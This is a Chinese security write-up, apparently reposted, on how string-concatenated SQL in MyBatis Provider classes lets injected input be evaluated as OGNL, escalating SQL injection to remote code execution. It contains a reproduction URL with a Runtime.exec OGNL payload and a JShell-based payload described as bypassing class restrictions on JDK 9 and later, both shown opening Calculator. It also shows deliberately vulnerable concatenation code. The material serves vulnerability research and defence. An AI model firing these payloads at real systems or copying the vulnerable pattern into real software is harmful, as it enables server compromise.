Mybatis 从SQL注入到OGNL注入
2023-6-8 12:1:13 Author: 白帽子左一(查看原文) 阅读量:23 收藏

扫码领资料

获网安教程

免费&进群

动态 SQL 是 MyBatis 的强大特性之一,一般而言,如果不使用动态SQL来拼接SQL语句,是比较痛苦的,比如拼接时要确保不能漏空格,还要注意去掉列表最后一个列名的逗号等,但是利用动态 SQL,就可以彻底摆脱这种痛苦。

一般而言,使用mybatis有两种配置,一种是通过xml文件的方式来配置,另一种是通过注解的方式来配置。

1、xml文件

mybatis的*mapper.xml文件里能够使用动态SQL的标签有4种,分别是:

① if

if标签是Mybatis中使用动态SQL比较频繁的地方,尤其是在where的判断里,比如:

<select id="findActiveBlogWithTitleLike" resultType="Blog">
SELECT * FROM BLOG WHERE state = 'ACTIVE'
<if test="title != null">
AND title like #{title}
</if>
</select>

这里的SQL语句就提供了选择情景,如果我们不传入title或者传入的title为空,那么就不会拼接 AND title like #{title}

又或者想加入额外的判断:

<select id="findActiveBlogLike"
resultType="Blog">
SELECT * FROM BLOG WHERE state = 'ACTIVE'
<if test="title != null">
AND title like #{title}
</if>
<if test="author != null and author.name != null">
AND author_name like #{author.name}
</if>
</select>

结论:if标签里的 test属性,可以插入并解析OGNL表达式

② choose (when, otherwise)

根据官方文档中的说明

有时候,我们不想使用所有的条件,而只是想从多个条件中选择一个使用。针对这种情况,MyBatis 提供了 choose 元素,它有点像 Java 中的 switch 语句。

<select id="findActiveBlogLike" resultType="Blog">
SELECT * FROM BLOG WHERE state = 'ACTIVE'
<choose>
<when test="title != null">
AND title like #{title}
</when>
<when test="author != null and author.name != null">
AND author_name like #{author.name}
</when>
<otherwise>
AND featured = 1
</otherwise>
</choose>
</select>

结论:when标签里的 test属性,可以插入并解析OGNL表达式

③ trim (where, set)

<select id="findActiveBlogLike"  resultType="Blog">
SELECT * FROM BLOG WHERE
<if test="state != null">
state = #{state}
</if>
<if test="title != null">
AND title like #{title}
</if>
<if test="author != null and author.name != null">
AND author_name like #{author.name}
</if>
</select>

可以看下这个SQL语句,假设如果没有满足匹配的条件,那么最终这条 SQL 会变成这样:

SELECT * FROM BLOG
WHERE

毫无疑问,这会导致查询失败

同样的,如果匹配的只是第二个条件,这条 SQL 会是这样:

SELECT * FROM BLOG
WHERE
AND title like 'someTitle'

这个查询也会失败

所以mybatis提出来了trim方法,如下:

<select id="findActiveBlogLike" resultType="Blog">
SELECT * FROM BLOG
<where>
<if test="state != null">
state = #{state}
</if>
<if test="title != null">
AND title like #{title}
</if>
<if test="author != null and author.name != null">
AND author_name like #{author.name}
</if>
</where>
</select>

可以看到多了一个where标签,同理还有一个set标签

结论:该情况下,一般没有地方可以供我们插入OGNL表达式

④ foreach

动态 SQL 的另一个常见使用场景是对集合进行遍历(尤其是在构建 IN 条件语句的时候)。比如:

<select id="selectPostIn" resultType="domain.blog.Post">
SELECT *
FROM POST P
<where>
<foreach item="item" index="index" collection="list"
open="ID in (" separator="," close=")" nullable="true">
#{item}
</foreach>
</where>
</select>

结论:该情况下,一般没有地方可以供我们插入OGNL表达式

⑤ bind

bind 标签允许我们在 OGNL 表达式以外创建一个变量,并将其绑定到当前的上下文。比如:

<select id="selectBlogsLike" resultType="Blog">
<bind name="pattern" value="'%' + _parameter.getTitle() + '%'" />
SELECT * FROM BLOG
WHERE title LIKE #{pattern}
</select>

结论:bind标签里的 value属性,可以插入并解析OGNL表达式

2、注解

springboot使我们摆脱了各种xml配置的烦恼,对应的,mybatis也为springboot提供了对应的注解来满足动态SQL的功能,主要有以下注解:

  • @Insert

  • @Update

  • @Delete

  • @Select

  • @InsertProvider

  • @SelectProvider

  • @UpdateProvider

  • @DeleteProvider

@Insert、@Update、@Delete和@Select这四个注解对应的是数据库增删改查功能,每一个都有一个对应的Provider注解标识

带有Provider注解和不带有Provider注解的区别是,使用Provider需要自己实现查询类,并且使用动态SQL也简单很多。

举个例子,如果@Update注解想要实现动态SQL,那么一定要使用 <script> 标签,如下:

@Update({"<script>",
"update Author",
" <set>",
" <if test='username != null'>username=#{username},</if>",
" <if test='password != null'>password=#{password},</if>",
" <if test='email != null'>email=#{email},</if>",
" <if test='bio != null'>bio=#{bio}</if>",
" </set>",
"where id=#{id}",
"</script>"})
void updateAuthorValues(Author author);

可以看到,可以引用xml中的标签,然后来使用动态SQL

但这样的方式很不美观,而且也有点鸡肋(还不如直接用xml来配置了)

因此有了各类Provider,如:@SelectProvider

我们定义一个查询方法为:

@SelectProvider(type = UserDaoProvider.class, method = "findTeacherByName")
Teacher findUserByName(Map<String, Object> map);

SelectProvider 调用的方法为findTeacherByName,如下:

  public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String s = new SQL() {
{
SELECT("id,email");
FROM("Teacher");
if(map.get("id")!=null)
WHERE("name=#{name}");
}
}.toString();
return s;
}
}

可以看到,这种方式没有任何标签,但是同样实现了动态SQL

场景分析

前面说了动态SQL的基础知识,可以看到,主要就一个点,在动态SQL中,可以解析OGNL表达式

那么是不是说,如果我们控制了一个变量,并且该变量可以被解析成OGNL表达式,是不是就能够实现OGNL表达式注入呢?

答案是肯定的。

经过研究,总结出变量可以被解析成OGNL表达式,主要有以下几个地方:

  1. if标签里的 test属性

此属性一般写死,不可控

  1. when标签里的 test属性

此属性一般写死,不可控

  1. bind标签里的 value 属性

bind标签value属性是可以传值的,如:

<if test="name != null and name !=''">
<bind name="likename" value="name" />
name like #{likename}
</if>

但经过测试发现,这里进行OGNL表达式解析的时候,是有顺序的

假设令name的值为:${@[email protected](4,10)}

我们想要的执行顺序是这样的:

先利用OGNL表达式解析器来获取${@[email protected](4,10)}的值,得到值以后,再将其赋给bind标签中的value,即:

<bind name="likename" value="4" />

但实际上并非如此,mybatis对于bind中value属性的OGNL解析流程是这样的,

首先利用OGNL表达式解析器解析value的值,此时值单纯为name变量,即:

<bind name="likename" value="name" />

然后得到值,${@[email protected](4,10)},然后将其赋给bind标签value属性中的name变量,即:

<bind name="likename" value="${@[email protected](4,10)}" />

这也就导致我们无法令传入的变量的值被OGNL表达式解析器来进行解析,也就无法实现OGNL表达式注入

  1. ${param} 参数中

${param} 和 【bind标签里的 value属性】同理,虽然可以传值, 但是存在解析顺序问题,同样无法实现OGNL表达式注入

比如存在以下select标签 :

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = ${name};
</select>

传入的name为:${@[email protected](4,10)}

那么其解析过程为:

首先利用OGNL解析器解析${}标签里的内容,解析完毕以后得到name的变量,传入SQL中:

select id,email from Teacher where name = '${@[email protected](4,10)}';
  1. Provider实现类中的拼接到SQL里的变量

在注解部分里,曾经提到:

  public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String s = new SQL() {
{
SELECT("id,email");
FROM("Teacher");
if(map.get("id")!=null)
WHERE("name=#{name}");
}
}.toString();
return s;
}
}

可以看到,返回值实际上就是一个SQL语句

没错,Provider其实就是要返回一个SQL字符串,只不过用了一些关键字做格式化而已,其实不使用也可以,比如:

  public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String s = new SQL() {
{
SELECT("id,email");
FROM("Teacher");
if(map.get("id")!=null)
WHERE("name=" + name);
}
}.toString();
return s;
}
}

甚至可以使用String字符串拼接SQL语句:

  public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String sql = "select id,email from Teacher where name = " + name;
return sql;
}
}

亦或者使用String.format来处理:

   public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String finalName = String.format(" name in (%s)", name);
String sql = new SQL() {{
SELECT("id,email");
FROM("Teacher");
WHERE(finalName);
ORDER_BY("id desc");
}}.toString();
System.out.println(sql);
return sql;
}

有时候复杂的语句还可以使用StringBuilder或者StringBuffer拼接,如:

public String countUserByRolePM(final UserVO userVO)
{
StringBuffer sb = new StringBuffer();
sb.append("SELECT count(*) FROM ( ");
sb.append(" SELECT A.*,count(P.Id) FROM (");
sb.append(" SELECT U.id,U.name,DD.referrer,U.mobilePhone ,U.country ,U.city,U.goodAtIndustry,U.englishAbility,U.goodAtArea,U.state,U.createTime,U.modifyTime FROM T_USER U LEFT JOIN T_USER_ROLE UR ON U.id = UR.userId " +
" LEFT JOIN (SELECT A.id,B.name as referrer FROM T_USER AS A INNER JOIN T_USER as B ON A.referrer = B.id) as DD ON DD.id = U.id WHERE 1=1 ");

sb.append(" AND UR.roleId in (");

String[] roleids = userVO.getParaRoleIDS().split(",");

if (roleids != null){
for (int i = 0 ; i< roleids.length ; i ++){
String s = roleids[i];
if(i != roleids.length -1){
sb.append("'" + s + "'" + ",");
}else{
sb.append("'" + s + "'");
}
}
}
sb.append(")");

if(!StringUtils.isEmpty(userVO.getName())){
sb.append(" AND U.name LIKE CONCAT('%',#{name},'%')");
}
if(!StringUtils.isEmpty(userVO.getMobilePhone())){
sb.append(" AND U.mobilePhone = #{mobilePhone}");
}
if(!StringUtils.isEmpty(userVO.getCity())){
sb.append(" AND U.city LIKE CONCAT('%',#{city},'%')");
}
if(!StringUtils.isEmpty(userVO.getRegion())){
sb.append(" AND U.region LIKE CONCAT('%',#{region},'%')");
}
if(!StringUtils.isEmpty(userVO.getPlatformLevel())){
sb.append(" and U.platformLevel = #{platformLevel}");
}
if(!StringUtils.isEmpty(userVO.getGoodAtIndustry())){
sb.append(" and find_in_set(#{goodAtIndustry},U.goodAtIndustry)");
}
if(!StringUtils.isEmpty(userVO.getState())){
sb.append(" and U.state = #{state}");
}
sb.append(" GROUP BY U.id");
sb.append(" ) A");
sb.append(" LEFT JOIN T_PROJECT P ON P.pmId = A.id");
sb.append(" GROUP BY A.id");
sb.append(" ORDER BY A.modifyTime DESC");
sb.append(") as A");
return sb.toString();
}

这样形成的SQL语句,实际上就是相当于生成了一个XML文件:

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = 传入的name值
</select>

那这样的方式和bind标签里的 value 属性或者${param} 参数中有没有区别呢?

当然有区别,并且这种区别是本质的

正是前文中提到的:解析顺序

这种形成的SQL语句会首先进行OGNL表达式,然后再执行查询。

以下面的Provider为例:

  public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String s = new SQL() {
{
SELECT("id,email");
FROM("Teacher");
if(map.get("id")!=null)
WHERE("name=" + name);
}
}.toString();
return s;
}
}

如果我们传入name的值为:${@[email protected](4,10)}

其流程是这样的:

首先生成了SQL语句为:

select id,email from Teacher where name = ${@[email protected]min(4,10)};

经过一系列的传递,相当于生成(实际上并未生成,直接解析的)了一个如下的XML文件:

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = ${@[email protected]min(4,10)};
</select>

然后进行OGNL表达式解析:

<select id="findTeacherByName" resultMap="BaseResultMap" parameterType="com.example.mybatis.entity.Teacher">
select id,email from Teacher where name = '4';
</select>

解析完毕以后得到name的变量,传入SQL中:

select id,email from Teacher where name = '4';

这也就导致了OGNL表达式注入

影响范围

  • mybatis-spring-boot-starter >=2.0.1(mybatis-spring-boot-starter组件从2.0.1版本开始支持Provider动态SQL)

或者

  • Mybatis 全版本

或者

  • mybatis-plus-boot-starter >=3.1.1

漏洞复现

如果在mybatis中存在某个SelectProvider(或者其他的Provider)的方法实例如下:

  public String findTeacherByName(Map<String, Object> map) {
String name = (String) map.get("name");
String s = new SQL() {
{
SELECT(returnSql);
FROM("Teacher");
WHERE("name=" + name);
}
}.toString();
return s;
}
}

对应controller如下:

@RequestMapping("selectUserByName")
public Teacher getUserOne(String id,String name){

Teacher tea=new Teacher();
tea.setId(id);
tea.setName(name);
Teacher teacher=userService.findTeacherByName(tea);
return teacher;

}
http://localhost:8080/selectUserByName?id=7&name=%24%[email protected]@getRuntime().exec("open /System/Applications/Calculator.app")%7D

利用环境下载:

链接: https://pan.baidu.com/s/1rKZDdpv3vfV-pQGXhAFfKw 提取码: b3qs

漏洞利用限制

不同版本的mybatis-spring-boot-starter引用了不同的Mybatis版本,而不同的Mybatis版本又使用了不同的OGNL组件版本

在 mybatis-spring-boot-starter 组件的2.0.1版本中,其引用的Mybatis版本为3.5.1,对应的OGNL版本为3.2.10,在这个版本中,并未对传入的OGNL表达式反射调用的类进行限制,而在高版本中进行了限制(如mybatis3.5.9,具体从哪个版本开始限制的,没有调查),因此想要在高版本中进行绕过限制,需要一定的技巧,这里只提供一种Java环境大于等于JDK9的通杀payload ,小于9的也可以绕过,具体可以思考从编码入手。

${@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app")')}

该漏洞为特殊场景下的利用,只有存在SQL注入的时候,此漏洞才会存在

因此可能遇到的情景比较少

是一种特定场景下mybatis SQL到RCE的补充利用

修复方式:

及时更新mybatis版本

及时代码中的组件

来源:https://www.cnpanda.net/sec/1227.html

声明:中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247595613&idx=1&sn=d09c421531551aced4ea1a0b4b388716&chksm=ebeb3f70dc9cb666dcea0e91ee0f592f76243dc8a2bf9bb082cd4735e4e9222dc5c504aeda31#rd
如有侵权请联系:admin#unsafe.sh